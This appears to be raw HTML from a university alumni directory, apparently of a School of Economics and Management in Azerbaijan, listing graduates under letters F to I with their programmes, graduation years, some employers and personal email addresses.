style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Msfarrah93@gmail.com\">Msfarrah93@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Msfarrah93@gmail.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid Taghiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İn a military service </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Tagiyev_farid@mail.ru\">Tagiyev_farid@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatima Ahmadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“R.İ.S.K” Şirkati</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:fatya.akhmedova@gmail.com\">fatya.akhmedova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid&nbsp;İsayev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PriceWaterhouseCoopers, Senior Associate</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:faridisayev@hotmail.com\">faridisayev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatima Zeynalabdinova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Alfa insurance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:f.zeynalabdin@hotmail.com\">f.zeynalabdin@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Oruczade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:fidan.orujzade@gmail.com\">fidan.orujzade@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:fidan.orujzade@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fariz&nbsp;Fataliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ffataliyev@yahoo.com\">ffataliyev@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ffataliyev@yahoo.com\"></a>MBA 2016 (Honor)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farida Ismayilova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farah Mammadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Farah.mammadova27@gmail.com\">Farah.mammadova27@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Yusifova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan İskandarzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:fidaniskenderzade@gmail.com\">fidaniskenderzade@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Firudin Rustamov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:firudin@galaxytravel.az\">firudin@galaxytravel.az</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:firudin@galaxytravel.az\"></a>Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid Faramazov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Guliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:Fidashka.guliyeva@gmail.com\">Fidashka.guliyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuzuli Kazimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:fkazemov87@yahoo.com\">fkazemov87@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><h3 id=\"G\" style=\"font-weight:bold\"><strong>G</strong></h3><p><strong><span style=\"font-size:medium\">Gunay Aliyeva</span> <o:p></o:p></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunay9529@gmail.com\">gunay9529[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Gunay Mammadguluyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunay_mamishova@mail.ru\">gunay_mamishova[at]mail.ru</a></p>\r\n<p>Pasha Life Insurance\" OJSC, HR</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Gunel Allahverdiyeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and\r\nAudit&nbsp;in Service Industry</p>\r\n<p>E-mail: <a href=\"mailto:gunelallahverdiyeva91@gmail.com\">gunelallahverdiyeva91[at]gmail.com</a> </p>\r\n<p>Sinteks Group of Companies - Accounting</p>\r\n<p><strong><br></strong></p><p><strong>Gunay Alakbarova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:alakbarova90@gmail.com\">alakbarova90[at]gmail.com</a></p>\r\n<p>Unibank</p>\r\n<p><strong><br></strong></p><p><strong>Gunel Aliyeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Banking</p>\r\n<p>E-mail: <a href=\"mailto:ggafarova@yahoo.com\">ggafarova[at]yahoo.com</a></p>  <p><strong><br></strong></p><p><strong>Gulsanam Abasova</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gulsanam.abasova@gmail.com\">gulsanam.abasovaa[at]gmail.com</a></p>\r\n<p>Azerbaijan Supermarket LLC (Bravo), Administrative Assistant at Human\r\nResource Department</p><p><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel Manafova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Fortuna trayvell</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:m.gunel.m@yahoo.com\">m.gunel.m@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulnar Aghayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gulnar.agayeva.1994@gmail.com\">gulnar.agayeva.1994@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulnar Zulfugarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Service field of Account and Aud.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:gzulfugarli@gmail.com\">gzulfugarli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gular Rahimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Gular.rahimli@mail.ru\">Gular.rahimli@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gulnisa Mammadli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gulnise.memmedeli@gmail.com\">gulnise.memmedeli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel Aliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Gunel8690@mail.ru\">Gunel8690@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Gunel8690@mail.ru\"></a>Master</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Khalilova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gunay-xalilova@msn.com\">gunay-xalilova@msn.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel Bayramova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Baygroup, International relations department, Brand manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:g.bayramova@yahoo.com\">g.bayramova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Garay Hasanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AGBank</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Garayvh@agbark.az\">Garayvh@agbark.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Farajova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gurban Gurbanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Private business</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:lados_707@mail.ru\">lados_707@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Garib Safarov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:garibsafarov@mail.ru\">garibsafarov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Garash Asgarzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:garash.asgarzada@gmail.com\">garash.asgarzada@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Garib Mahmudov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"H\" style=\"font-weight:bold\"><strong>H</strong></h3><p><strong>Huseyn Rzayev<o:p></o:p></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:huseyn_rzayev@bk.ru\">huseyn_rzayev[at]bk.ru</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Halima Nabiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:n-helime@mail.ru\">n-helime@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hasan Bilalov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:hasbil_sahil@mail.ru\">hasbil_sahil@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hikmat Taghiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sshikmet@azercell.com\">sshikmet@azercell.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Huseyn Tagizade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:huseyn.tagizade@gmail.com\">huseyn.tagizade@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"İ\" style=\"font-weight:bold\">I</h3><p><strong>Ilkin Guliyev</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ilkin.quliyev77@gmail.com\">ilkin.guliyev77[at]gmail.com</a></p><p><br></p><p><strong><span style=\"font-size:medium\">Izabella Binyaminova</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:bellabin.bb@gmail.com\">bellabin.bb[at]gmail.com</a><strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Ismat İsmayilov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ismet.izmaylov@gmail.com\">ismet.izmaylov[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Ilfan Garayev </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ilfan90@hotmail.com\">ilfan90[at]hotmail.com</a></p>\r\n<p>Socar Foster Viler Muhendislik MMC -Muhasib</p>\r\n<p><strong><br></strong></p><p><strong>Ilhama Rustamli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ilhama1990@gmail.com\">ilhama1990[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İnci Yusifli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:inciyusifli@yahoo.com\">inciyusifli@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:inciyusifli@yahoo.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İbrahim Aghayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlaha Mammadova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Turkey</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:ilahe_memmedova@hotmail.com\">ilahe_memmedova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İsrafil İsgandarov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Trainer and adviser on Business Development/“Umid” Support to Social\r\nDevelopment NGO</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:iisgenderov@yahoo.com\">iisgenderov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İmida Kamanli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:imidekamanli@yahoo.com\">imidekamanli@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İsa Mustafayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:isamustafayev@hotmail.com\">isamustafayev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlkin Aliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" 